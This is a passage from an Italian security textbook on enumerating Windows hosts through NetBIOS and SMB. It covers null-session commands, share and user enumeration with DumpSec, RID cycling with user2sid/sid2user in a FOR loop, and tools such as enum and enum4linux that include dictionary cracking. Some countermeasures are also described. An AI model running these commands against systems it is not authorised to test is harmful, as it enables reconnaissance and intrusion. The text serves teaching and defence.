IS SERVR9.... <00> UNIQUE Registered
9DOMAN <1>  UNIQUE Registered
.._ MSBROWSE__. <01> GROUP Registered
ADMINISTRATOR <03> UNIQUE Registered

MAC Address = 00-A0-CC-57-8C-8A

nbtstat estrae il nome del sistema (SERVRY), il dominio in cui si trova (9DOMAN),
ogni eventuale utente connesso (ADMINISTRATOR), ogni servizio in esecuzione
(INet Services) e I'indirizzo MAC (Media Access Control) della scheda di rete. Queste
entita possono essere identificate in base al loro codice di servizio NetBIOS (il numero
con due cifre a destra del nome). I codici sono in parte elencati nella Tabella 3.2.

Tabella 3.2 Codici di servizi comuni NetBIOS.

Codice NetBIOS Risorsa

nome computer >[00] Servizio workstation

nome dominio >[00] Nome dominio

nome computer >{03] Servizio Messenger (per messaggi inviati a questo computer)
nome utente>[03] Servizio Messenger (per messaggi inviati a questo utente)
nome computer>{20] Servizio Server

nome dominio>[1D] Master servizio elenco

nome dominio>[1E] Elezioni servizio elenco

nome dominio>|1B] Master servizio elenco dominio

I due principali difetti di nbtstat sono la possibilita di operare soltanto su un singolo host
per volta e il suo output di difficile comprensione. A entrambi pone rimedio lo strumento
gratuito nbtscan, di Alla Bezroutchko, disponibile presso inetcat.net/software/nbtscan.
html. nbtscan applica nbtstat a un’intera rete in modo molto rapido e formatta I’output
in maniera leggibile:

C:\>nbtscan 192.168.234.0/24
Doing NET name scan for addresses from 192.168.234.0/24
IP address NetBIOS Name  Server User MAC address

192.168.234.36  WORKSTN12 <server> RSMITH 00-00-86-16-47-d6
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192.168.234.110 CORP-DC <server> CORP-DC  00-c0-4f-86-80-05
192.168.234.112 WORKSTN15 <server> ADMIN 00-80-c7-0f-a5-6d
192.168.234.200 SERVR9 <server> ADMIN 00-a0-cc-57-8c-8a

Tra I’altro, nbtscan offre un modo rapido per individuare gli host che eseguono Windows
in una rete, come capirete se provate a eseguirlo sulla vostra rete di Classe C preferita.

Strumenti di enumerazione NetBIOS per Linux

Finora abbiamo descritto diversi strumenti di enumerazione NetBIOS basati su Windows,
ma ne esistono altrettanti per Linux. Uno in particolare ¢ NMBscan di Grégoire Barbier
(nmbscan.gbarbier.org/), che ¢ in grado di enumerare NetBIOS specificando diversi livelli
di dettaglio per 'output:

nmbscan-1.2.4 # ./nmbscan
nmbscan version 1.2.4 - Sat Jul 19 17:41:03 GMT 2008

usage :
./nmbscan -L
-L show licence agreement (GPL)

./nmbscan {-d|-m|-a}

-d show all domains

-m show all domains with master browsers

-a show all domains, master browsers, and servers

./nmbscan {-h|-n} host1 [host2 [...]]
-h show information on hosts, known by ip name/address
-n show information on hosts, known by nmb name

Preferiamo specificare I'opzione -a per ottenere una visualizzazione completa della rete
NetBIOS che ci circonda:

nmbscan-1.2.4 # ./nmbscan -a
nmbscan version 1.2.4 - Sat Jul 19 17:44:22 GMT 2008
domain EXAMPLE
master-browser SLIPDIPDADOOKEN 10.219.1.201 -
server SHARUCAN
ip-address 10.219.1.20
mac-address 01:18:F3:E9:04:7D
ip-address 192.168.252.1
ip-address 192.168.126.1
server-software Windows Vista (TM) Ultimate 6.0
operating-system Windows Vista (TM) Ultimate 6000
server PIZZZAKICK
server HADUCAN
ip-address 10.219.1.207
mac-address 00:0C:29:05:20:A7
server-software Windows Server 2003 5.2
operating-system Windows Server 2003 3790 Service Pack 2
server GNA
server SLIPDIPDADOOKEN
ip-address 10.219.1.201
mac-address 00:DE:AD:BE:EF:00
ip-address 192.168.175.1
ip-address 192.168.152.1
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server-software Windows 2000 LAN Manager
operating-system Windows 5.1
domain -
master-browser - 192.168.175.1 -
domain -
master-browser - 192.168.152.1 -

Q Bloccare 'enumerazione dei servizi di nomi NetBI0S

Tutte le tecniche descritte in precedenza operano sul servizio nomi NetBIOS, UDP 137.
Se si limita 'accesso alla porta UDP 137, su host singoli o bloccando il protocollo nei
router di rete, nessuna di queste attivitd potra avere successo. Per evitare che 1 dati degli
utenti possano apparire nelle visualizzazioni delle tabelle di nomi NetBIOS, disabilitate 1
servizi Avvisi e Messenger sui singoli host. Uimpostazione di avvio per questi servizi pud
essere configurata tramite 1'applicazione Servizi a cui si accede da Pannello di controllo,
Strumenti di amministrazione. Su Windows 2000 e versioni successive, i servizi Avvisi e
Messenger sono disabilitati per default, in piu si puo disabilitare NetBIOS su TCP/IP nelle
impostazioni delle singole schede di rete. Tuttavia, secondo la nostra esperienza possono
esserci delle difficolta nel bloccare 'enumerazione NBNS utilizzando I'impostazione di
NetBIOS su TCP/IP, percio conviene non utilizzarla (come vedremo pit avanti in questo
capitolo, tra 'altro, questa caratteristica presenta anche altri problemi). Infine, tenete presente
che, se bloccate la porta UDP 137 dai router, disabiliterete la risoluzione di nomi Windows
su tali router, bloccando di fatto qualsiasi applicazione che si basi su NBNS.

N/
""" Enumerazione tramite sessione NetBIOS, TCP 139/445

Popolarita: 8

Semplicita: 10

Impatto: 8

Grado di rischio: 9

Windows NT e la sua progenie si sono guadagnati la meritata reputazione di sistemi
che rivelano troppe informazioni a chiunque voglia accedervi, a causa principalmente
della vulnerabilita che esaminiamo nel seguito, I’attacco di connessione a sessione null/
anonima su Windows.

Sessioni null: il sogno dell'enumerazione

Se vi ¢ mai capitato di accedere a un file o di stampare su una stampante associata a una
macchina Windows in una rete, ¢ probabile che abbiate utilizzato il protocollo SMB
(Server Message Block) di Microsoft, che sta alla base della condivisione di file e stampanti
Windows ('implementazione di SMB per Linux si chiama Samba). SMB ¢ accessibile
tramite API che possono restituire interessanti informazioni su Windows, anche a utenti
non autenticati. La qualita delle informazioni che si possono raccogliere con questo
meccanismo fa di SMB uno dei principali talloni di Achille per Windows, se non si attua
un’adeguata protezione.

Per illustrare la devastazione che si puo provocare lasciando SMB senza protezione, utiliz-
ziamo alcune tecniche di hacking ben note che sfruttano le falle del protocollo. Il primo
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passo per enumerare SMB consiste nel connettersi al servizio utilizzando il cosiddetto
comando di “sessione null”, mostrato di seguito:

C:\>net use \\192.168.202.33\IPC$ "" /u:""

Notate la somiglianza tra questo comando e la sintassi standard net use per montare un’unita
di rete: sono praticamente identici. Con il precedente comando ci si connette alla “con-
divisione” di comunicazione interprocesso nascosta (IPC$) all'indirizzo IP 192.168.202.33
come utente anonimo interno (/u:””) con password nulla (“”). Se il comando ha successo,
I'hacker ora dispone di un canale aperto sul quale tentare di applicare le varie tecniche
descritte in questo paragrafo per raccogliere quante piti informazioni possibile dal bersaglio,
tra cui informazioni di rete, condivisioni, utenti, gruppi, chiavi del registro di sistema e
cosl via. Questa caratteristica, indicata in vari modi come “Red Button”, connessione a
sessione null 0 accesso anonimo, puo rappresentare la pit base di accesso pitt importante
in assoluto per gli intrusi, come mostriamo di seguito.

| NOTA

Lenumerazione SMB si puo attuare sulle porte TCP 139 (sessione NetBIOS) e TCP 445 (SMB
suTCP/IP, o"host diretto”). Entrambe le porte forniscono accesso allo stesso servizio (SMB),
ma su due protocolli di trasporto diversi.

Enumerazione delle condivisioni di file

Tra 1 bersagli preferiti degli hacker vi sono le condivisioni di file di Windows non incluse
negli ACL. Una volta stabilita una sessione null, ¢ abbastanza facile enumerare i nomi delle
condivisioni di file, utilizzando varie tecniche. Per esempio, il comando di Windows net
view consente di enumerare le condivisioni su sistemi remoti:

C:\>net view \\vito
Shared resources at \\192.168.7.45

VITO

Share name  Type Used as Comment

NETLOGON Disk Logon server share
Test Disk Public access

The command completed successfully.

Altri due ottimi strumenti per enumerazione di condivisioni disponibili nel Resource
Kit di Windows Server 2003 sono srvcheck e srvinfo con I'opzione -s (microsoft.com/
downloads/details.aspx?familyid=9D467A69-57FF-4AE7-96EE-B18C4790CFFD&displaylang=en).
srvcheck visualizza condivisioni e utenti autorizzati, incluse le condivisioni nascoste, ma
richiede un accesso privilegiato al sistema remoto. srvinfo con il parametro -s elenca le
opzioni con molte altre informazioni potenzialmente utili.

Uno dei migliori strumenti per enumerare le condivisioni di file Windows (e molto altro) ¢
DumpSec (in passato DumpAcl), mostrato nella Figura 3.3 e disponibile gratuitamente presso
SomarSoft (somarsoft.com). Pochi strumenti sono piu utili di questo per un amministratore
della sicurezza in ambiente N'T. DumpSec tiene sotto controllo tutto, dai permessi del file sy-
stem ai servizi disponibili su sistemi remoti. Si possono ottenere informazioni di base perfino
su un’innocua connessione null, e si pud eseguire lo strumento dalla riga di comando, cosa
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igh Somarsoft DumpSec (formerly DumpAcl) - WLU-PC (local) Elﬂu
Eile Edit 5earch Report View Help
Share and path Account Own Permission

I AD do pe 3 ad are ad 0 0 da I
C$=C:\ (special admin share) admin-only {(no dacl)
D$=D:\ (special admin share) admin-only {no dacl}

I E$=E:% (special admin share) admin-only {no dacl} I
IPC%= (special admin share) admin-only {no dacl}

Figura 3.3 DumpSec rivela le condivisioni su una sessione null con il computer bersaglio.

che consente di utilizzarlo in modo automatizzato e negli script. Nella Figura 3.3 ¢ illu-
strato 'uso di DumpSec per visualizzare informazioni sulle condivisioni di un computer.
Aprire connessioni null e utilizzare manualmente gli strumenti precedentemente descritti
¢ molto utile per attacchi diretti, ma la maggior parte degli hacker utilizza di solito uno
scanner NetBIOS per cercare condivisioni esposte in intere reti. Due strumenti che svol-
gono questi compiti sono ShareEnum di SysInternals (acquisita da Microsoft, technet.
microsoft.com/en-us/sysinternals/bb897442.aspx) e Network Scanner di SoftPerfect
(softperfect.com/products/networkscanner/). ShareEnum ha poche opzioni configurabili,
ma per default fornisce una buona quantita di informazioni e dispone di una comoda
funzione di confronto che puo essere utile per confrontare i risultati nel tempo. Network
Scanner di SoftPerfect ¢ piu duttile, ma richiede di lavorare un po’ sulla configurazione
senza accontentarsi delle opzioni di default (Figura 3.4).

-
&3 SoftPerfect Network Scanner E@u

Eile View Actions Options Bookmarks Help
DoHEEARIEY BT DL s LEL B @ Wi

Range From 192 . 168 . 1 . 1 To 192 . 168 . 1 ., 255 % % [ Stop Scanning ~ [l

IF Address Host Name MAC Address Response Time
Eg 192.168.1.1 00-1EE3-11-33FE Oms
g 192.168.1.2 Lu-PC E8-11-32-64-C8-17 Oms
Eg 192.168.1.60 NPI102101 00-15-78-10-21-01 Oms
= =Q 192.168.1.91 PC-Flex 00-19-D1-AC-72-0C Oms
@ Lavori
2 C
= HP Col...
] Users
[ print§
7 192,168.1.96 00-15-CB-AB-02-08 0Oms
= EBg 192.158.1.99 NASC3FFEC 00-08-8B-C3-FFEC Oms
Public
Qrecar...
Qdownl...
Qmulti. ..
Networ...
Qusb
Qweb
Scanning... Threads 1 Devices 6/6 Scan b d

Figura 3.4 SoftPerfect Network Scanner effettua una scansione automatica delle sottoreti
cercando condivisioni di file aperte.
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A differenza di strumenti pit vecchi come Legion, o NAT (NetBIOS Auditing Tool), queste
nuove utility si rivolgono al professionista della sicurezza piuttosto che all’hacker, percio
non includono funzionalita come quelle per portare attacchi di forza bruta. In ogni caso,
un hacker puo sempre utilizzare gli strumenti pit vecchi per fare il suo sporco lavoro, o
ricorrere a uno degli strumenti per attacchi di forza bruta citati pit avanti in questo libro.
Legion pud esaminare una rete I[P di Classe C e rivelare tutte le condivisioni disponibili
nella sua interfaccia grafica. La versione 2.1 include uno strumento per attacchi di forza
bruta che tenta di connettersi a una data condivisione utilizzando un elenco di password
fornito dall’utente. Per ulteriori informazioni sugli attacchi di forza bruta a Windows, si
rimanda al Capitolo 4. Citiamo un altro noto scanner di condivisioni Windows: NAT
(NetBIOS Auditing Tool), basato su codice scritto da Andrew Tridgell. Si tratta di un pro-
gramma scritto parecchi anni fa, ma i piu curiosi possono ancora trovarlo in rete, cercando
bene. Esiste anche un’interfaccia grafica per NAT, scritta da Neon Surge e Chameleon,
di Rhino9 Security Team (ormai defunto), e destinata a chi non ¢ a suo agio con la riga
di comando (Figura 3.5). NAT non solo trova le condivisioni, ma tenta anche di entrare
in modo forzato utilizzando elenchi di nomi utente e password definiti dall’utente.

Enumerazione del registro

Un altro buon metodo per enumerare informazioni su applicazioni della famiglia NT ¢
quello di visualizzare il contenuto del registro di Windows sul bersaglio. Praticamente tutte
le applicazioni correttamente installate su un sistema NT lasciano alcune informazioni nel
registro di sistema, basta semplicemente sapere dove guardare. Inoltre, gli intrusi possono
penetrare nei meandri delle informazioni sugli utenti e sulla configurazione, con I'accesso
al registro. Con la necessaria pazienza ¢ spesso possibile trovare alcuni dati che facilitano
l'accesso. Fortunatamente, per default Windows ¢ configurato in modo da consentire 'ac-
cesso al registro soltanto agli amministratori; percio, le tecniche descritte nel seguito non
funzionano, generalmente, su sessioni null anonime. Un’eccezione si ha quando la chiave

& D:\apps\NetBIOS\NAT \nat.exe [_ 7]
[#1-—— Unahle to connect

[#]1-—— Attempting to connect with name: =

[#1-—— Unahle to connect

[*]-—— Attempting to connect with name: 3

[#1-—— Unable to connect

[#]1-—— Attempting to connect with name: =SMBSERVER

[#1-——— Unahble to connect
[*]1-—— Attempting to connect with name: SMBSERVER =
[+]1-—— Unahle to connect %_R9I/NAT InterFace [-]
Note: Make sure this executable is in the zame directory as nat.exe
[#]1-—— Attempting to connect with name: = This ‘Window will close as the process uns. To check the progress
[#]1-—— Unahle to connect . . . of the process. check the command prompt window.
[#1-—— Was not abhle to obtain any information from remote server
[*1-—— Checking host: 192.168.282.31 (R = ey
[#]1-—— Obtaining list of remote NetBIOS names User List ’— ST
[#]1-—— Was not able to obtain any information from remote server DihappsiNetBIOSWNATUSERLIS _;S
‘whord List [ .
[*I-— Checking hest: 192.168.202.32 Ord LB 1D appsh N etBI S NATARASSLIS M(}yﬁ
[#1-——— Obtaining list of remote NetBIOS names Output Filename D appssNelBI DS NAT \esl bt e
»@ul*
Browse.. abe n
Target IP Infarmation
Starting IP [152 168 202.30 Clear
Ending IP [152165 20233 Start
Interface by NeonSurge and Chamelzan of Rikino3

Figura 3.5 NAT (NetBIOS Auditing Tool) con interfaccia grafica e output sulla riga di comando.
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HKLM\System\CurrentControlSet\Control\SecurePipeServer\ Winreg\ AllowedPaths
specifica la possibilita di accedere ad altre chiavi tramite sessioni null; per default consente
l'accesso soltanto a HKLM\Software\Microsoft\ WindowsNT\Current Version.

Per chi vuole verificare se un registro remoto ¢ bloccato, 1 migliori strumenti sono reg
(integrato in Windows XP, 2003 e successivi) e DumpSec di SomarSoft (ancora). Per
sistemi precedenti a Windows 2003, si puo utilizzare regdmp al posto di reg (regdmp era
lo strumento originale, le cui funzionalita sono state poi inserite in reg). reg/regdmp ¢
un’utility piuttosto semplice che si limita a eftettuare il dumping dell’intero registro (o di
singole chiavi specificate dalla riga di comando) sulla console. Benché I'accesso remoto al
registro sia solitamente riservato agli amministratori, ci sara sempre qualcuno che provera
a enumerare varie chiavi nella speranza di trovare una breccia. Gli hacker spesso provano
a inserire puntatori a utility backdoor come NetBus (cfr. il Capitolo 4). In questo esem-
pio verifichiamo quali applicazioni sono avviate automaticamente all’avvio di Windows:

C:\>reg query \\10.219.1.207\HKLM\SOFTWARE\MICROSOFT\
Windows\CurrentVersion\Run

! REG.EXE VERSION 3.0

HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\
Windows\CurrentVersion\Run

VMware Tools REG_SZ
C:\Program Files\VMware\VMware Tools\VMwareTray.exe

VMware User Process REG_SZ
C:\Program Files\VMware\VMware Tools\VMwareUser.exe

Adobe Reader Speed Launcher REG_SZ
"C:\Program Files\Adobe\Reader 8.0\Reader\Reader sl.exe"

SunJavaUpdateSched REG_SZ
"C:\Program Files\Java\jre1.6.0_03\bin\jusched.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\
Windows\CurrentVersion\Run\OptionalComponents

DumpSec produce un output molto pit elegante, ma in sostanza ottiene lo stesso risultato,
come si vede nella Figura 3.6. Il report “Dump Services” enumera ogni servizio Win32
e ogni driver del kernel sul sistema remoto, che sia in esecuzione o meno (anche qui si
presuppone la disponibilita degli opportuni permessi di accesso). Queste informazioni
potrebbero fornire agli hacker molti potenziali bersagli di attacco. Ricordiamo che questa
attivita richiede una sessione null.

Enumerazione di domini trusted

Ricordate lo strumento nltest discusso precedentemente nella trattazione dell’enumerazio-
ne del servizio nomi NetBIOS? Una volta stabilita una sessione null a una delle macchine
del dominio enumerato, si possono utilizzare 1 comandi nltest /server:<nome_server> e
/trusted_domains per ottenere informazioni su ulteriori domini in relazione con il pri-
mo. Questi semplici strumenti diventano molto piu potenti quando ¢ disponibile una
sessione null.
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#3 Somarsoft Dumpécl - 14192.168.202.33 |_ (O] x|

File Edit Search Heport Yiew Help

FriendlyHame Hame Status Type Account

Inport Inport Stopped Kernel =

Jazzg3ieg Jazzg3iag Stopped Kernel

Jazzgioh Jazzg3ioeh Stopped Kernel

Jzuxlygy JZuxl4u8y Stopped Kernel

Keyboard Class Driver Kbdclass Running Kernel

K3ecDD KSecDD Running Kernel

Hessenger Hessenger Running Win32 LocalSystem

mnga nga Stopped Kernel

mga_mil mga_mil Stopped Kernel

Hicrosoft NDIS System Driver HD1S Running Kernel

mitsumi mitsumi Stopped Kernel

mkecrSxy mkecr5xx Stopped Kernel

House Class Driver Houclass Running Kernel

Hsfs Hsfs Running Kernel

Hup Hup Running Kernel

Hcr53cox Hcr53c9x Stopped Kernel =

ncr¥¥c22 ncr¥ic22 Stopped Kernel

Hcrc788 Hcrc78a Stopped Kernel

Hcrc718 Hcrc71@ Stopped Kernel

Het Logon Hetlogon Stopped Win32 LocalSystem

HetBIOS Interface HetBIOS Running Kernel

HetDetect HetDetect Stopped Kernel

Hetwork DDE HetDDE Stopped Win32 LocalSystem

Hetwork DDE DSDH HetDDEdsdm Stopped Win32 LocalSystem

Hpfs Hpfs Running Kernel

HT LM Security Support Provider HtLmSsp Stopped Win32 LocalSystem

Htfs Htfs Stopped Kernel

Hull Hull Running Kernel =
00060

Figura 3.6 DumpSec enumera tutti i servizi e le unita in esecuzione su un sistema remoto.

Enumerazione di utenti

A questo punto, lasciare andare qualche informazione sulle condivisioni sembrera proba-
bilmente un errore, ma non la fine del mondo: almeno gli hacker non sono stati in grado
di ottenere informazioni sugli account utente, vero? Sbagliato. Sfortunatamente, alcune
macchine Windows diffondono informazioni relative agli utenti su sessioni null con la
stessa facilita con cui rivelano dati sulle condivisioni.

Uno dei pit potenti strumenti per sfruttare una sessione null allo scopo di ottenere
informazioni sugli utenti ¢, ancora una volta, DumpSec, che puo ottenere un elenco
di utenti, gruppi, criteri di protezione e diritti degli utenti su sistemi NT. Nell’esempio
che segue utilizziamo DumpSec dalla riga di comando per generare un file contenente
informazioni sugli utenti da un computer remoto (ricordate che DumpSec richiede una
sessione null con il computer bersaglio):

C:\>dumpsec /computer=\\192.168.202.33 /rpt=usersonly
/saveas=tsv /outfi le=c:\temp\users.txt

C:\>cat c:\temp\users.txt

7/15/08 10:07 AM - Somarsoft DumpSec - \\192.168.202.33

UserName FullName Comment

Barzini Enrico Barzini Rival mob chieftain

godfather Vito Corleone Capo

Godzilla Administrator Built-in account for administering the domain
Guest Built-in account for guest access

lucca Lucca Brazzi Hit man

mike Michael Corleone Son of Godfather
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Utilizzando la GUI di DumpSec ¢ possibile specificare molti piu campi informativi da
includere nel report, ma il formato appena presentato consente solitamente di individuare
che cosa potrebbe causare dei guai. Per esempio, una volta siamo capitati su un server in
cui le password per 'account Administrator erano riportate nel campo dei commenti!
Altri due strumenti di enumerazione per Windows molto potenti sono sid2user e user2sid
di Evgenii Rudnyi (evgenii.rudnyi.ru/soft/sid/sid.txt). Operano dalla riga di comando
e cercano di determinare i SID della famiglia NT dall'input del nome utente e vice versa.
SID significa Security IDentifier, ¢ un valore numerico di lunghezza variabile attribuito a
un sistema della famiglia NT al momento dell’installazione Per una buona spiegazione
della struttura e della funzione dei SID, consigliamo I’eccellente articolo disponibile
presso en.wikipedia.org/wiki/Security Identifier. Una volta che un intruso ¢ riuscito a
ottenere il SID di un dominio con user2sid, pud servirsene per enumerare 1 nomi utente
corrispondenti. Ecco un esempio:

C:\>user2sid \\192.168.202.33 "domain users"
S$-1-5-21-8915387-1645822062-1819828000-513

Number of subauthorities is 5
Domain is ACME

Length of SID in memory is 28 bytes
Type of SID is SidTypeGroup

Ora I'intruso conosce il SID della macchina: ¢ la stringa di numeri che inizia con S-1 e
presenta i trattini di separazione. La stringa numerica posta dopo I'ultimo trattino si chiama
RID (Relative IDentifier), ed & predefinita per utenti e gruppi interni di Windows come
Administrator e Guest. Per esempio, il RID dell’'utente Administrator ¢ sempre 500 e
quello dell'utente Guest ¢ 501. Con queste informazioni, un hacker puo utilizzare sid2user
e la stringa del SID con I'aggiunta in coda del RID 500 per trovare il nome dell’account
dell’amministratore (anche se ¢ stato rinominato). Ecco un esempio:

C:\>sid2user \\192.168.2.33 5 21 8915387 1645822062 18198280005 500

Name is godzilla
Domain is ACME
Type of SID is SidTypeUser

Notate che S-1 e 1 trattini sono omessi. Un altro fatto interessante ¢ che il primo account
creato su qualsiasi sistema locale o dominio NT riceve il RID 1000, e ogni oggetto suc-
cessivo riceve il numero in sequenza successivo (1001, 1002, 1003 e cosi via, 1 RID non
sono riutilizzati sull’installazione corrente). Percio, una volta noto il SID, un hacker ¢ in
grado di enumerare ogni utente e gruppo, passato e presente, di un sistema NT.

NOTA

sid2user/user2sidfunzionaanche se RestrictAnonymous e impostato a 1 (ne parleremo
tra poco), purché sia accessibile la porta 139 o 445.

Riportiamo ora un semplice esempio di come creare uno script che sfrutta user2sid/
sid2user per esaminare tutti gli account utente disponibili su un sistema. Prima di eseguire
questo script, dobbiamo determinare il SID del sistema bersaglio utilizzando user2sid su
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una sessione null, come mostrato in precedenza. Ricordando che la famiglia NT assegna
ai nuovi account un RID a partire da 1000, possiamo quindi eseguire il seguente ciclo
utilizzando il comando FOR della shell NT e lo strumento sid2user (descritto in prece-
denza) per enumerare fino a 50 account su un bersaglio:

C:\>for /L %i IN (1000,1,1050) DO sid2user \\acmepdci 5 21 1915163094
1258472701648912389 %I >> users.txt
C:\>cat users.txt

Name is IUSR_ACMEPDC1
Domain is ACME
Type of SID is SidTypeUser

Name is MTS Trusted Impersonators
Domain is ACME
Type of SID is SidTypeAlias

Questo output poco leggibile puo essere formattato meglio indirizzandolo a un filtro
che estragga soltanto un elenco di nomi utente. Naturalmente 'ambiente di esecuzione
dello script non ¢ limitato alla shell NT, puo essere Perl, VBScript o qualsiasi altro sia
disponibile. Come ultimo appunto, prima di proseguire, ricordiamo che questo esempio
visualizza con successo gli utenti purché sul sistema bersaglio sia aperta la porta TCP 139
0 445, nonostante RestrictAnonymous = 1.

NOTA

Tra le numerosissime funzionalita della suite di hacking per Windows Cain & Abel (oxid.
it/cain.html) vi e l'enumerazione di utenti, che automatizza perfino il processo con cui
si tenta prima con il metodo della sessione null descritto in precedenza e poi si ricade
sul metodo con sid2user appena descritto se il valore RestrictAnonymous del bersaglio
eimpostatoa 1.

Strumenti integrati per I'enumerazione tramite sessioni null

Vari sviluppatori hanno creato strumenti integrati per I'enumerazione tramite sessioni null.
11 primo della lista ¢ Winfingerprint (sourceforge.net/projects/winfingerprint). Come si
puo intuire da tutte le caselle di controllo visibili nella Figura 3.7, Winfingerprint prevale
per il gran numero di funzionalita disponibili, infatti offre praticamente tutte le funzio-
nalitd di enumerazione immaginabili. E in grado di analizzare un singolo host, elenchi o
intervalli di host, o semplicemente tutti gli host visibili di un determinato segmento, e
oltre alla funzionalita di sessione null, & anche in grado di enumerare sistemi Windows via
Active Directory e WMI, il che lo rende uno strumento di enumerazione per Windows
estremamente versatile.
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Un altro strumento utile ¢ NBTEnum di Reed Arvin, che tuttavia ¢ ormai difficile da
trovare dopo la dismissione del suo sito web di riferimento (attualmente ¢ disponibile
presso packetstormsecurity.org/files/download/52457/NBTEnum33.zip). Questo strumento
si mette in luce per il suo output formattato in HTML, completo e di facile lettura, per
le funzionalita di attacco a forza bruta e per la capacita di enumerare una moltitudine di
informazioni utilizzando sessioni null o sotto un particolare account utente.

Luso dello strumento ¢ semplice: per svolgere enumerazioni di base basta utilizzare
Popzione -s e includere un file di dizionario. NBTEnum (Figura 3.8) per prima cosa
verifica il criterio di protezione impostato sul server per il blocco degli account dopo un
certo numero di tentativi, poi tenta 'attacco di forza bruta solo con un numero ridotto
di password, in modo da non raggiungere il limite impostato.

enum, sviluppato dal Razor Team di BindView (acquisita poi da Symantec), ¢ un eccel-
lente strumento per 'enumerazione SMB, ma sfortunatamente ¢ pit vecchio rispetto a
Winfingerprint e molto piu difficile da trovare.

s, Winfingerprint 0.6.2

Input Options Scan Options
" IP Range 1P List & Domain " Active Directory © WMI API
¢ gingle Host " Meighbarhood [W Win32 0% Version [ Users [v Patch Level Exit
IP Address:
197 168.1.7 [ Mull IPC$ Sessions W Services [ MAC Address Clear
W MetBIOS Shares [ Disks Sessions

-
Save
[~ Date and Time [ Groups [ EwventLog
; Show
[ Ping Hostis RPC r Help
¢ s} r Bindings Errors

™ Traceroute Host

General Options

™ TCP Portscan Range: 1024

1
Timeout for TCPAUDR/ICMP/SHMP: 5 [ UDP Portscan Range: 1 1024
2 i ing: bli
Retriss: |3 T m— - - | [~ SNMP Community String: public

Finging 192.168.1.7 with 44 bytes of data: ~
Reply from 192.165.1.7 0 ms {id= 1, seq= 1}
IP Address: 192.168.1.7 test-jg7wfg&isr.firdhcpuser.net
Computername: WORKGROUPYTEST-IGFWFGEISR
S0 5-1-5-21-1708537765-1993962763-19579944858
MAC Addresses:

000de05d25es
Patch Level:

Operating System: 5.1

Role: NT workstation

Role: LAM Manager Waorkstation

Role: LAM Manager Server

Role: Potential Browser

Role: Master Browser

Cornrment:
NetBI0S Shares:

TEST-IGFWFGAEISRAIPCY
Remote IPC
TEST-1G7WFGAISRAVADMING Accessible with current credentials.
Remote &dmin
WWTEST-IG7WFGEISRYCE Accessible with current credentials.

Default share “

Figura 3.7 Winfingerprint dispone di una GUI facile da usare e fornisce numerose informazioni.
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) NetBIOS Enumeration Utility ozilla Firefox

Fle Edit View History Bookmarks Tools Help
= C X & | file:///C:/NBTEnum 3.3/10.219.1 207 html 3 - | |[Gl-|Google P

Most Visited 4 Getting Started 5| Latest Headines | | (Untitled)

NBTEnum v3.3

¥

Password checking is "OFF"
Running as null user (anonymous)
Network Transports Transport: \Device\NetBT_Tcpip_{DDOGESOD-

93E1-46C1-91F5-362FBFDT96B3}
MAC Address: 000C330520E8

Transport: \Device\NethiosSmb
MAC Address: 000000000000

[NetBIOS Name [Fswizis |
|Accuur|l Lockout Threshold |U Attempts |
Logged On Users Username: Administrator

Logon Server: FSW2K3

Username: FSW2K35
Logon Server:

Username: IUSR_FSW2K3
Logon Server: FSW2K3

|ana| Groups and Users |Adm|"nistrators |

Done *'

Figura 3.8 NBTEnum fornisce numerose informazioni in un formato HTML ben leggibile.

enum supporta la configurazione e la chiusura automatica di sessioni null, attacchi di forza
bruta per le password e molte altre funzionalita che ne fanno un importante strumento per
chi vuole portare attacchi a un sistema. Di seguito riportiamo I’elenco delle opzioni della
riga di comando dello strumento, per evidenziare il numero di funzionalita disponibili:

C:\>enum
usage: enum [switches] [hostname|ip]
-U: get userlist
-M: get machine list
-N: get namelist dump (different from -U|-M)
-S: get sharelist
-P: get password policy information
-G: get group and member list
-L: get LSA policy information
-D: dictionary crack, needs -u and -f
: be detailed, applies to -U and -S
-c: don't cancel sessions
-u: specify username to use (default " ")
-p: specify password to use (default " ")
-f: specify dictfile to use (wants -D)

1
Q.
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Portcullis Security ha sviluppato un clone per Linux di enum denominato enumglinux (labs.
portcullis.co.uk/application/enum4linux/), un wrapper per comandi comuni disponibile
nella suite Samba, che fornisce le stesse informazioni di enum e varie opzioni (I'elenco
seguente ¢ stato ridotto per brevita):

enum4linux-0.7.0 # ./enum4linux.pl
Copyright (C) 2006 Mark Lowe (mrl@portcullis-security.com)

Usage: ./enum4linux.pl [options] ip

Options are (like "enum"):

-U get userlist

-M get machine list*

-N get namelist dump (different from -U|-M)*
-S get sharelist

-pP get password policy information*

-G get group and member list

-L get LSA policy information*

-D dictionary crack, needs -u and -f*

-d be detailed, applies to -U and -S*

-u username specify username to use (default "")
-p password specify password to use (default "")
-f filename specify dictfile to use (wants -D)*

* = Not implemented in this release.

Additional options:

-a Do all simple enumeration (-U -S -G -r -0 -n)
-h Display this help message and exit
- enumerate users via RID cycling
-R range RID ranges to enumerate
(default: 500-550,1000-1050, implies -r)
-s filename brute force guessing for share names

-k username User that exists on remote system
(default: administrator)
Used to get sid with "lookupsid administrator"
-0 Get 0S information
-w workgroup  Specify workgroup manually (
usually found automatically)
-n Do an nmblookup (similar to nbtstat)
-v Verbose. Shows full commands being run
(net, rpcclient, etc.)

NetE ¢ un altro vecchio strumento scritto da Sir Dystic di Cult of the Dead Cow (cult-
deadcow. com/tools/nete.html), che tuttavia funziona benissimo ed ¢ in grado di ricavare
utilissime informazioni da una connessione a sessione null. Noi preferiamo utilizzare
l'opzione /0 per eseguire tutti i controlli, ma indichiamo di seguito la sintassi completa in
modo che possiate farvi un’idea delle tante informazioni ottenibili tramite una sessione null:

C:\>nete

NetE vi.0 Questions, comments, etc. to sirdystic@cultdeadcow.com
Usage: NetE [Options] \\MachinenameOrIP

Options:

/0 - ALl NULL session operations

/A - All operations
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/B - Get PDC name
/C - Connections
/D - Date and time

/E - Exports
/F - Files
/G - Groups

/1 - Statistics

/3 - Scheduled jobs

/K - Disks

/L - Local groups

/M - Machines

/N - Message names

/Q - Platform specific info

/P - Printer ports and info
/R - Replicated directories
/S - Sessions

/T - Transports

/U - Users

/V - Services

/W - RAS ports

/X - Uses

/Y - Remote registry trees

/Z - Trusted domains

Strumenti vari per 'enumerazione tramite sessioni null

Esistono altri strumenti di enumerazione per la famiglia NT che meritano di essere al-
meno citati. Utilizzando una sessione null, getmac visualizza gli indirizzi MAC e i nomi
delle schede di rete su macchine remote. Questo output puo fornire utili informazioni a
